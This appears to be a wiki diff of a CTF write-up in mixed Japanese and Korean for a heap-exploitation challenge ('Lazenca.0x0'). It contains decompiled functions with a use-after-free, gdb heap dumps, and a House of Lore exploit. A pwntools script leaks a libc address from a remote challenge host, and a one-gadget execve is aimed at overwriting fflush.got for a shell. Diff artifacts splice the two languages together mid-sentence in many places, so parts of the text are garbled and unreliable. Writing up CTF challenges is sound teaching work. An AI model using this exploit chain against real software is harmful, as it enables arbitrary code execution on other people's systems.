Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • 当該関数は次のような機能をします。
    • 当該関数は、除隊変数gAccount[]を利用して削除可能なアカウントを出力します。
    • 当該関数は使用者から削除する勘定の番号を入力されます。
    • 当該関数は使用者が選択したアカウントのstate情報が'3'ある場合、削除を進めます。
      • 当該関数は、該当アカウント(gAccount[num])の情報を初期化します。
        • state=0
        • fd→state=0
        • memset(gAccount[num]。fd、0、0x80uLL);
      • 当該関数は、該当アカウント(gAccount[num])のfd領域(heap)を解除します。
    • 当該関数はgAccount[num]。fd領域に"gAccount[num]。fd-16"演算した値を保存します。演算した値を保存します。
      • 保存される値はFree chunkのHeadアドレスです。
      • これによってThe House of Lore、UAF脆弱性が発生することになります。
Code Block
languagecpp
titledelAccount()
unsigned __int64 delAccount()
{
  unsigned int i; // [rsp+8h] [rbp-18h]
  unsigned int num; // [rsp+Ch] [rbp-14h] MAPDST
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("\nAccount list");
  for ( i = 0; i <= 2; ++i )
  {
    if ( gAccount[i].state )
      printf("%d) %s\n", gAccount[i].number, gAccount[i].fd->id);
  }
  puts("\nPlease enter the number of the account you want to delete");
  num = retNumber(2LL);
  if ( num && num <= 3 )
  {
    if ( gAccount[--num].state == 3 )
    {
      gAccount[num].state = 0LL;
      gAccount[num].fd->state = 0LL;
      printf("The account(%s) has been deleted.\n", gAccount[num].fd->id);
      memset(gAccount[num].fd, 0, 0x80uLL);
      free(gAccount[num].fd);
      gAccount[num].fd = (struct IDPW *)((char *)gAccount[num].fd - 16);
    }
    else
    {
      puts("You can not delete the account.");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

...

orderCandy()

  • 当該関数は次のような機能をします。
    • 当該関数は使用者からキャンディ注文の進めるかどうかを確認します。
    • 当該関数はgetStockNum()関数を使用してgOrderList[]に保存された値がgStock[]に存在するかどうか確認します。
      • 当該関数はgOrderList[]に保存された値gStock[]に存在する場合、次のように処理されます。
        • "gStock[]->candyNumber"に"gOrderList[]
    ->orderNumber
        • →orderNumber"の値を加えることになります。
      • 当該関数はgOrderList[]に保存された値gStock[]に存在しない場合、次のように処理されます。
        • 当該関数はmalloc()関数を使用して24 byteのheap領域を割り当てます。
        • 当該関数は、該当領域にキャンディに対する情報を保存します。
          • キャンディの名前や価格、キャンディの情報が保存されているアドレス値
        • また、当該関数は124 byteのheap領域を割り当てて、当該領域に使用者から入力を受けたキャンデー情報を保存します。
    • 当該関数はgOrderList[]に保存された値gStock[]にすべて保存した後、gOrderList[]領域を全て解除します。
Code Block
languagecpp
titleorderCandy()
unsigned __int64 orderCandy()
{
  struct STOCK *dest; // ST10_8
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int num; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( gOrderCnt )
  {
    orderList();
    puts("\nWould you like to order these candies?");
    puts("0) Yes, 1) No");
    if ( !(unsigned int)retNumber(2LL) )
    {
      for ( i = 0; i < gOrderCnt; ++i )
      {
        num = getStockNum(i);
        if ( num )
        {
          gStock[num - 1]->candyNumber += gOrderList[i]->orderNumber;
        }
        else if ( (unsigned int)gStockCnt > 4 )
        {
          puts("The warehouse is full. Your new order can not be completed.");
        }
        else
        {
          puts("\nEnter information about newly added candy.");
          dest = (struct STOCK *)malloc(24uLL);
          strncpy(dest->candyName, gOrderList[i]->orderCandyName, 8uLL);
          dest->candyNumber = gOrderList[i]->orderNumber;
          printf("Enter the price of %s candy.\n", dest);
          dest->candyPrice = retNumber(5LL);
          printf("Enter a description of the %s candy.\n", dest);
          dest->candyDescription = (char *)malloc(124uLL);
          UserInput(dest->candyDescription, 124LL);
          gStock[gStockCnt++] = dest;
        }
      }
      while ( gOrderCnt )
      {
        free(gOrderList[gOrderCnt - 1]);
        gOrderList[gOrderCnt-- - 1] = 0LL;
      }
    }
  }
  else
  {
    puts("You have never ordered a product.");
  }
  return __readfsqword(0x28u) ^ v4;
}

Proof of concept


  • 설명은 진행하기 전에 출제자는 플레이어들이 説明は進行する前に出題者はプレイヤーたちが"House of lore" 취약성을 이용해서 풀기를 원했습니다.脆弱性を利用して解決することを望んでいました。
    • しかし、当該脆弱性のほかにもさまざまな形で攻撃が可能です。
    • 하지만 해당 취약성들 외에도 여러 형태로 공격이 가능합니다.


Fake chunk


  • 当該番組で脆弱性を理解するため、ACCOUNT構造体に対する理解が必要です。
    • 該当構造体は、除隊変数で宣言されています。
    • 当該番組は3つのACCOUNT構造体を使用します。
      • 最初の構造体には'Admin'のアカウント情報が保存されています。
      • 2、3番目の構造体は使用者が生成したアカウントの情報が保存されます。
    해당 프로그램에서 취약성을 이해하기 위해 ACCOUNT 구조체에 대한 이해가 필요합니다.
    • 해당 구조체는 전역 변수로 선언되어 있습니다.
    • 해당 프로그램은 3개의 ACCOUNT 구조체를 사용합니다.
      • 첫번째 구조체에는 'Admin' 계정 정보가 저장되어 있습니다.
      • 2,3번째 구조체는 사용자가 생성한 계정의 정보가 저장됩니다.


Panel
titlestruct ACCOUNT gAccount[3]
0x604220Admin.stateAdmin.number
0x604230Admin.fdAdmin.bk
0x604240gAccount[1].stategAccount[1].number
0x604250gAccount[1].fdgAccount[1].bk
0x604260gAccount[2].stategAccount[2].number
0x604270gAccount[2].fdgAccount[2].bk


  • House of lore 취약성은 다음과 같은 Fake chunk가 필요합니다.loreの脆弱性は、次のようなFake chunkが必要です。
    • delAccount() 함수를 이용해 関数を利用してgAccount[1].fd 영역에 Free chunk의 Head 주소를 저장 할 수 있습니다.。fd領域にFree chunkのHeadアドレスを保存することができます。
    • charge() 함수를 이용해 関数を利用してgAccount[1].bk, gAccount。bk、gAccount[2].bk 영역의 값을 변경 할 수 있습니다.。bk領域の値を変更できます。


Panel
titleFake chunk
0x604220Admin.stateAdmin.number
0x604230Admin.fdAdmin.bk
0x604240gAccount[1].stategAccount[1].number
0x604250gAccount[1].fd = Free chunk headgAccount[1].bk = 0x604268
0x604260gAccount[2].stategAccount[2].number
0x604270gAccount[2].fdgAccount[2].bk = 0x604240

Overwrite Fd of Fack chunk


  • House of lore 취약성은 다음과 같은 Free chunk의 fd영역을 변경할 수 있어야 합니다.loreの脆弱性は、次のようなFree chunkのfd領域を変更することができなければなりません。
    • delAccount() 함수에 의해 gAccount関数によってgAccount[1].fd 영역의 값이 변경됩니다.。fd領域の値が変更されます。
      • gAccount[1].fd→id 。fd→id: fd 영역fd領域
      • gAccount[1].fd→pw : bk 영역
    • 해당 계정의 비밀번호 변경을 할 수 있으면 Free chunk의 bk영역에 값을 덮어 쓸수 있습니다.

      • 。fd→pw:bkの領域
    • 該当アカウントのパスワードを変更することができればFree chunkのbkの領域に値を上書きすることができます。
  • しかし、パスワードを変更するためには하지만 패스워드를 변경하기 위해서는 "gAccount[1].fd→state"의 값이 。fd→state"の値が'0'이 아니어야 합니다.でなければならないです。


Panel
titlegAccount[1].fd

Create an account

Delete account

gAccount[1].fd

0x8

0x0

0x0

prev_size

Size of chunk

Chunk (long empty[0])

Chunk size (long empty[0])

0x10

long empty[0]

long empty[1]

fd (char id[8])

bk (char pw[8])

0x20

char id[8]

char pw[8]

long state

char description[88]

0x30

long state

char description[88]



UAF


  • 다음과 같이 UAF 취약성을 사용해 次のようにUAF脆弱性を使用して"gAccount[1].fd→state" 값을 변경할 수 있습니다.。fd→state"値を変更することができます。
    • ACCOUNT構造体の大きさは128 byteです。
    • ACCOUNT 구조체의 크기는 128 byte 입니다.
    • orderCandy() 함수에 dest関数にdest->candyDescription(사탕의 정보를 입력하는 영역)에 할당되는 크기는 124 byte입니다.飴の情報を入力する領域)に割り当てられる大きさは124 byteです。
    • 解除された해제된 "gAccount[1].fd。fd"영역을 領域を"dest→candyDescription" 에 할당받아야 합니다.に割り当てられなければなりません。
      • 該当領域

      • 해당 영역("dest→candyDescriptiondest→candyDescription")에  문자 16개 이상을 저장하면 に文字16個以上を保存すると、"gAccount[1].fd→state" 영역을 덮어 쓸 수 있습니다.。fd→state"領域を覆って使うことができます。
  • 注意する内容は次のようです。
    • UAFの攻撃を行う際、一番重要な部分はHouse of lore攻撃に向けてACCOUNT構造体と同じ大きさの空間を割り当てられて解除することができなければなりません。
      • つまり、解除された
    주의 할 내용은 다음과 같습니다.
    • UAF 공격시 제일 중요한 부분은 House of lore 공격을 위해 ACCOUNT 구조체와 같은 크기의 공간을 할당받고 해제 할 수 있어야 합니다.
      • 즉, 해제된 "gAccount[1].fd。fd" 영역에 반드시 領域に必ず"dest->candyDescription"에 할당되는 영역이 할당되어야 합니다.
      그리고 아래와 같은 영역이
      • に割り当てられる領域が割り当てられなければなりません。
    • そして下のような領域が"gAccount[1].fd" 영역에 할당되지 않도록 주의 해야 합니다.
      。fd"領域に割り当てられていないように注意しなければなりません。
      • 当該番組は飴玉を注文するためにはOrder listで購入する飴を追加しなければなりません。
        • Order listで購入する飴を追加たびにHeap領域
        해당 프로그램은 사탕을 주문하기 위해서는 Order list에 구매할 사탕을 추가해야 합니다.
        • Order list에 구매할 사탕을 추가 때 마다 Heap 영역(24 byte)을 할당 받습니다.
        해당 프로그램은 주문한 사탕이 가게에 없는 제품이면 Heap 영역
        • を割り当てられます。
      • 当該番組は注文したあめが店にない製品ならHeap領域(24 byte)을 할당 받습니다.を割り当てられます。


Structure of Exploit code 

...

Information for attack

Leak Libc Address


  • 次のようなHeap構造設計が必要です。
    • 攻撃者は1つの飴をOrder listに追加して、注文を完了します。
    • 攻撃者は2つの飴をOrder listに追加します。
    다음과 같은 Heap 구조 설계가 필요합니다.
    • 유저는 1개의 사탕을 Order list에 추가 하고, 주문을 완료 합니다.
    • 유저는 2개의 사탕을 Order list에 추가 합니다.


Code Block
titledebugging
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0x100006567         0x20                 Used                None              None
0xa17620            0xa17630            0x90                 Used                None              None
0xa176b0            0x0                 0x20                 Used                None              None
gdb-peda$
  • 다음과 같은 Heap 구조입니다.次のようなHeap構造です。
Panel
titleHeap area structure

AddressStateHeap sizefdbk
Order list[0]

0xa175e0

A0x20

None

None
창고에 저장된 사탕 캔디 정보

0xa17600

A0x20NoneNone
창고에 저장된 사탕 캔디 설명

0xa17620

A0x90NoneNone
Order list[1]

0xa176b0

A0x20NoneNone


  • 次のような方法で解除されたHeap領域をSmall binに登録します。
    • 攻撃者は最初に登録したキャンディを全て購入します。
      • 当該番組は飴玉を全部消尽をすれば使用していたHeap領域を全て解除します。
        • 飴説明(0x90)領域はUnsortedbinに登録されます。
          • この時fd、bkにmain arenaのアドレスの値が保存されます。
    • また、当該プログラムは全部消尽されたキャンディーに対する評価内容を保存するために、Heap領域を割り当てます。
      • malloc()はこの際、解除されたキャンディ情報(0x20)領域、飴説明(0x90)領域を一つの領域(0xb0)に変更します。
      • malloc()はHeap領域(1200 byte)を割り当てにより、当該領域をSmall binに保存します。
        • 当該Free chunkのfd、bkの領域にSmall binの住所が保存されます。
    다음과 같은 방법으로 해제된 Heap 영역을 Small bin에 등록합니다.
    • 유저는 처음에 등록한 사탕을 모두 구매 합니다.
    • 해당 프로그램은 사탕을 모두 소진을 하면 사용하고 있던 Heap 영역을 모두 해제 합니다.
      • 사탕 설명(0x90) 영역은 Unsortedbin에 등록됩니다.
        • 이때 fd, bk에 main arena의 주소 값이 저장됩니다.
    • 그리고 해당 프로그램은 모두 소진된 사탕에 대한 평가 내용을 저장하기 위해 Heap 영역을 할당합니다.
    • malloc()는 이때 해제된 사탕 정보(0x20) 영역, 사탕 설명(0x90) 영역을 하나의 영역(0xb0)으로 변경합니다.
    • malloc()는 Heap 영역(1200 byte)을 할당으로 인해 해당 영역을 Small bin에 저장합니다.
    • 해당 Free chunk의 fd,bk 영역에 Small bin의 주소가 저장됩니다.


Code Block
titledebugging
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0x100006567         0xb0                 Freed     0x7ff5052a2c18    0x7ff5052a2c18
0xa176b0            0xb0                0x20                 Used                None              None
0xa176d0            0x100006567         0x4c0                Used                None              None
gdb-peda$ p main_arena.bins[20]
$6 = (mchunkptr) 0xa17600
gdb-peda$ p main_arena.bins[21]
$7 = (mchunkptr) 0xa17600
gdb-peda$
  • 다음과 같은 Heap 구조입니다.次のようなHeap構造です。
Panel
titleHeap area structure

AddressStateHeap sizefdbk
Order list[0]0xa175e0A0x20NoneNone
창고에 저장된 사탕 캔디 & 사탕 캔디 설명

0xa17600

F0xb0

0x7ff5052a2c18

0x7ff5052a2c18

Order list[1]

0xa176b0

A0x20NoneNone
구매한 사탕 캔디 평가

0xa176d0

A0x4c0NoneNoneNone


  • 次のような方法でLibc addressを抽出することができます。
    • 攻撃者は1つの飴をOrder listに追加します。
      • Order listに追加されたキャンディの情報は一つの領域(0xb0)に変更領域に割り当てられます。
    • 攻撃者はOrder listの内容を出力してLibc addressを抽出することができます。
    다음과 같은 방법으로 Libc address를 추출 할 수 있습니다.
    • 유저는 1개의 사탕을 Order list에 추가 합니다.
      • Order list에 추가 된 사탕의 정보는 하나의 영역(0xb0)으로 변경 영역에 할당됩니다.
    • 유저는 Order list의 내용을 출력해 Libc address를 추출 할 수 있습니다.


Code Block
titleLeak Libc address
Please pick up the candies to order.
>$ 1

=*= Order list =*=
Order code  : 4
Order count : 10
Order candy : Orange
Candy code  : 1

Order code  : 5
Order count : 10
Order candy : Orange
Candy code  : 1

Order code  : 6L\xb0\x0c\x85\x7f
Order count : 10
Order candy : Orange
Candy code  : 1

Order candy.
1) Order List
2) Add to Order List
3) Cancel one's order.
4) Order candy
5) Exit
Command : $ 
Code Block
titledebugging
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0x100006567         0x20                 Used     			 None    		   None
0xa17620            0x100006567         0x90                 Freed     0x7ff5052a2c18    0x7ff5052a2c18
0xa176b0            0x90                0x20                 Used                None              None
0xa176d0            0x100006567         0x4c0                Used                None              None
gdb-peda$ x/4gx 0xa17600
0xa17600:	0x0000000100006567	0x0000000000000021
0xa17610:	0x00007ff5052a2c36	0x6e61724f0000000a
gdb-peda$ 
  • 다음과 같은 Heap 구조입니다.次のようなHeap構造です。
Panel
titleHeap area structure

AddressStateHeap sizefdbk
Order list[0]0xa175e0A0x20NoneNone
Order list[2]0xa17600

A

0x20NoneNone
창고에 저장된 사탕 캔디 & 사탕 캔디 설명(Unsorted bin)

0xa17620

F0x90

0x7ff5052a2c18

0x7ff5052a2c18

Order list[1]

0xa176b0

A0x20NoneNone
구매한 사탕 캔디 평가

0xa176d0

A0x4c0NoneNone
  • 다음과 같은 스크립트를 이용해 Libc address를 추출 할 수 있습니다.次のようなスクリプトを利用してLibc addressを抽出することができます。
Code Block
languagepy
titleLeakLibcAddress.py
from pwn import *
#context.log_level = 'debug'

def login(id,pw):
    p.recvuntil('Enter your ID.')
    p.send(id)
    p.recvuntil('Enter your Password.')
    p.send(pw)

def setOrderlist(num):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please pick up the candies to order.')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('5')

def getOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('1')

def setOrder(price,desc):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('0) Yes, 1) No')
    p.send('0')
    p.recvuntil('Enter the price of ')
    p.sendline(price)
    p.recvuntil('Enter a description of the')
    p.send(desc)
    p.recvuntil('Command : ')
    p.send('5')

def purchase(code,num,comment):
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the code number of the candy to be purchased.')
    p.send(code)
    p.recvuntil('Please enter the number of the candy to purchase.')
    p.send(num)
    p.recvuntil('Please enter a comment for candy.')
    p.send(comment)

bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)

login('Admin','admin')

setOrderlist('1')
setOrder('10','TEST')

setOrderlist('1')
setOrderlist('1')

purchase('0','10','AA')

setOrderlist('1')

getOrderlist()

p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274

log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))

p.recvuntil('Command : ')
p.send('5')

House of lore(Fake chunk)


  • 다음과 같이 次のように"gAccount[1].fd" 영역에 할당되었던 공간을 。fd"領域に割り当てられた空間を"dest->candyDescription"영역에 領域に再度割り当てられなければなりません。
    • 同一の領域を割り当てられため、あらかじめHeap構造を設計しなければなりません。
      • Order listの0番目のキャンディキャンセル
      • キャンディ注文を完了
    • 2つの新しいアカウントを生成します。
    재할당 받아야 합니다.
    • 동일한 영역을 할당받기 위해 미리 Heap 구조를 설계해야 합니다.

      • Order list의 0번째 사탕 취소

      • 사탕 주문 완료
    • 2개의 새로운 계정을 생성합니다.


Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 캔디 정보0xa175e0A0x200x0None
Order list[2]0xa17600

F

0x20NoneNone
창고에 저장된 0번 사탕캔디 설명

0xa17620

A0x90

0xa17600

None

Order list[1]

0xa176b0

F0x20NoneNone
구매한 사탕 캔디 평가

0xa176d0

A0x4c0NoneNone
gAccount[1].fd0xA17B90A0x90NoneNone
gAccount[2].fd0xA17c20A0x90NoneNone


  • 次のようにHouse of loreに必要なFake chunkを生成することができます。
    • 生成したアカウントを利用して次のように充電が必要です。
      • 2番目のアカウント
  • 다음과 같이 House of lore에 필요한 Fake chunk를 생성할 수 있습니다.
    생성한 계정을 이용해 다음과 같이 충전이 필요합니다.2번째 계정
      • :6308456(0x604268)
  • 3번째 계정
      • 3番目のアカウント:6308416(0x604240)
  • 2번째 계정을 삭제 합니다.
  • 다음과 같은 gAccount[] 구조를 가지게 됩니다.
    • 2番目のアカウントを削除します。
  • 次のようなgAccount[]構造を持つようになります。


Code Block
titledebugging
gdb-peda$ x/8gx 0x604240
0x604240:	0x0000000000000000	0x0000000000000002
0x604250:	0x0000000001a08b90	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
0x604270:	0x0000000001a08c30	0x0000000000604240
gdb-peda$
Panel
titlegAccount area structure
0x604240gAccount[1].stategAccount[1].number
0x604250gAccount[1].fd = 0xA17B90gAccount[1].bk = 0x604268
0x604260gAccount[2].stategAccount[2].number
0x604270gAccount[2].fdgAccount[2].bk = 0x604240
  • 다음과 같은 Heap 구조를 가지게 됩니다.次のようなHeap構造を持つようになります。
Code Block
titledebugging
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0xa17630         	0x20                 Freed     			  0x0    		   None
0xa17620            0x100006567         0x90                 Used      			 None    		   None
0xa176b0            0x90                0x20                 Freed           0xa17600              None
0xa176d0            0x100006567         0x4c0                Used                None              None
0xa17b90            0x0			        0x90                 Freed     0x7ff5052a2b78              0x7ff5052a2b78
0xa17c20            0x90         		0x90                 Used                None              None
gdb-peda$ 
Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 캔디 정보0xa175e0A0x20NoneNone
Order list[2]0xa17600

F

0x200x0None
창고에 저장된 0번 사탕캔디 설명

0xa17620

A0x90

None

None

Order list[1]

0xa176b0

F0x200xa17600None
구매한 사탕 캔디 평가

0xa176d0

A0x4c0NoneNone
gAccount[1].fd(Unsortbin)0xA17B90F0x90

0x7ff5052a2b78

0x7ff5052a2b78
gAccount[2].fd0xA17c20A0x90NoneNone

House of lore(Overwrite Smallbin bk)


  • 우선 공격자는 bk 영역을 덮어 쓰기 위해서 다음과 같이 まず攻撃者はbkの領域を覆って書くために次のように"gAccount[1].fd→state"의 값을 조작해야 합니다.。fd→state"の値を操作しなければなりません。
  • 攻撃者は次のようにUAF脆弱性を使用することができます。
    • Order listに新しいケンディウル追加して、注文を完了します。
      • この時"dest→candyDescription"領域に
    공격자는 다음과 같이 UAF 취약성을 사용할 수 있습니다.
    • Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
      • 이때 "dest→candyDescription" 영역에 "gAccount[1].fd 。fd+0x10" 영역의 주소가 저장됩니다.
        • 해당 영역에 16이상의 문자를 저장합니다.
        領域の住所が保存されます。
        • 該当領域に16以上の文字を保存します。
    • 次のように다음과 같이 "gAccount[1].fd→state" 값을 변경됩니다.。fd→state"値を変更されます。


Code Block
titledebugging
gdb-peda$ x/6gx 0x0000000002593b90
0xA17B90:	0x0000000000000000	0x0000000000000091
0xa17ba0:	0x4141414141414141	0x4141414141414141
0xa17bb0:	0x4141414141414141	0x0000000000000000
gdb-peda$ 
Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 캔디 정보0xa175e0A0x20NoneNone
Order list[0]0xa17600

A

0x20NoneNone
창고에 저장된 0번 사탕 캔디 설명

0xa17620

A0x90

None

None

창고에 저장된 1번 사탕 캔디 정보

0xa176b0

F0x200x0None
구매한 사탕 캔디 평가

0xa176d0

A0x4c0NoneNone
창고에 저장된 1번 사탕 캔디 설명0xA17B90A0x90

None

None
gAccount[2].fd0xA17c20A0x90NoneNone


  • 次のように1度ケンディウル購入して0xA17B90領域がSmallbinに登録されるようにします。
    • 0xA17B90領域がSmallbin

    다음과 같이 1번 사탕을 구매하여 0xA17B90 영역이 Smallbin에 등록되도록 합니다.

    • 0xA17B90 영역이 Smallbin[16][17]에 등록되었습니다.に登録されました。


Code Block
titledebugging
gdb-peda$ parseheap 
addr                prev                size                 status              fd                bk                
0xa17000            0x0                 0x90                 Used                None              None
0xa17090            0x0                 0x410                Used                None              None
0xa174a0            0x0                 0x20                 Used                None              None
0xa174c0            0x0                 0x20                 Used                None              None
0xa174e0            0x0                 0x20                 Used                None              None
0xa17500            0x0                 0x20                 Used                None              None
0xa17520            0x0                 0x20                 Used                None              None
0xa17540            0x0                 0x20                 Used                None              None
0xa17560            0x0                 0x20                 Used                None              None
0xa17580            0x0                 0x20                 Used                None              None
0xa175a0            0x0                 0x20                 Used                None              None
0xa175c0            0x0                 0x20                 Used                None              None
0xa175e0            0x0                 0x20                 Used                None              None
0xa17600            0xa17630         	0x20                 Freed     0x7ff5052a2b88    	   0xa176b0
0xa17620            0x100006567         0x90                 Used      			 None    		   None
0xa176b0            0x90                0x20                 Freed           0xa17600    0x7ff5052a2b88
0xa176d0            0x100006567         0x4c0                Used                None              None
0xa17b90            0x0			        0x90                 Freed     0x7ff5052a2bf8	 0x7ff5052a2bf8
0xa17c20            0x90         		0x90                 Used                None              None
0xa17cb0            0x90         		0x4c0                Used                None              None
gdb-peda$ p main_arena.bins[16]
$1 = (mchunkptr) 0xa17b90
gdb-peda$ p main_arena.bins[17]
$2 = (mchunkptr) 0xa17b90
gdb-peda$ 
Panel
titleHeap area structure

AddressStateHeap sizefdbk
창고에 저장된 0번 사탕 캔디 정보0xa175e0A0x20NoneNone
Order list[0]0xa17600

A

0x200x7ff5052a2b880xa176b0
창고에 저장된 0번 사탕 캔디 설명

0xa17620

A0x90

None

None

창고에 저장된 1번 사탕 캔디 정보

0xa176b0

F0x200xa176b00x7ff5052a2b88
구매한 사탕 캔디 평가

0xa176d0

A0x4c0NoneNone
창고에 저장된 1번 사탕 캔디 설명0xA17B90A0x90

0x7ff5052a2bf8

0x7ff5052a2bf8
gAccount[2].fd0xA17c20A0x90NoneNone
구매한 사탕 캔디 평가

0xa17cb0

A0x4c0NoneNoneNoneNone


  • 次のように2度アカウントのパスワードの変更を通じて、bk領域の値を引き続き変更できます。
    • bkの領域に最初のFake chunkの開始アドレスを保存しました。
    다음과 같이 2번 계정의 비밀번호 변경을 통해 bk영역의 값을 계속 변경 할 수있습니다.
    • bk 영역에 첫번째 Fake chunk 의 시작 주소를 저장하였습니다.


Code Block
titledebugging
gdb-peda$ x/6gx 0x9d4b90
0xA17B90:	0x0000000000000000	0x0000000000000091
0xa17ba0:	0x00007f91951a6bf8	0x0000000000604240
0xa17bb0:	0x4141414141414141	0x0000000000000000
gdb-peda$ 


  • 다음과 같은 방법으로 main次のような方法でmain_arena.bins[17] 영역에 gAccount領域にgAccount[1]의 주소 값을 저장 할 수 있습니다.のアドレス値を保存することができます。
    • 攻撃者はOrder listにケンディウル追加して、注文を完了します。
    • 공격자는 Order list에 사탕을 추가하고, 주문을 완료합니다.


Code Block
titleOverwrite Smallbin bk
gdb-peda$ p main_arena.bins[16]
$3 = (mchunkptr) 0xA17B90
gdb-peda$ p main_arena.bins[17]
$4 = (mchunkptr) 0x604240
gdb-peda$ 
  • 다음과 같이 gAccount次のようにgAccount[] 영역을 할당 받을 수 있습니다.領域を割り当てられます。
    • 少し前に追加したケンディウルいずれも購買します。
    • 攻撃者はOrder listにケンディウル追加して、注文を完了します。
      • この時キャンデー説明を入力される領域にgAccount[1]。fd領域が割り当てられます。
      • 次のような方法で希望する領域の値を変更できます。
    • 조금 전에 추가한 사탕을 모두 구매합니다.
    • 공격자는 Order list에 사탕을 추가하고, 주문을 완료합니다.
      • 이때 캔디 설명을 입력 받는 영역으로 gAccount[1].fd영역이 할당됩니다.
      • 다음과 같은 방법으로 원하는 영역의 값을 변경 할 수 있습니다.
        • gAccount[1].fd 。fd= "접근을 원하는 영역의 주소接近を希望する領域の住所"-0x18
        • 2번째 계정의 비밀번호 변경을 사용해 "접근을 원하는 영역"에 사용자 입력값을 저장할 수 있습니다.2番目のアカウントのパスワード変更を使用して"アプローチを希望する領域"にユーザ入力値を保存することができます。
Code Block
titleOverwrite gAccount[1].fd
Breakpoint 1, 0x000000000040123a in ?? ()
gdb-peda$ ni
0x000000000040123f in ?? ()
gdb-peda$ i r rax
rax            0x604250	0x604250
gdb-peda$ x/4gx 0x604250
0x604250:	0x00007f070160bbf8	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
Breakpoint 2, 0x000000000040125f in ?? ()
gdb-peda$ x/4gx 0x604250
0x604250:	0x0a41414141414141	0x0000000000604268
0x604260:	0x0000000000000003	0x0000000000000003
gdb-peda$ 

One Gadget

  • 次のようなOne Gadgetを使用することができます。
    • 該当Gadgetをfflush.got領域に上書きば、Shellを獲得することができます。
    다음과 같은 One Gadget을 사용할 수 있습니다.
    • 해당 Gadget을 fflush.got영역에 덮어쓰면 Shell을 획득 할 수 있습니다.
Code Block
titleOne Gadget
.text:00000000000F0274                 mov     rax, cs:environ_ptr_0
.text:00000000000F027B                 lea     rsi, [rsp+1B8h+var_168]
.text:00000000000F0280                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F0287                 mov     rdx, [rax]
.text:00000000000F028A                 call    execve

...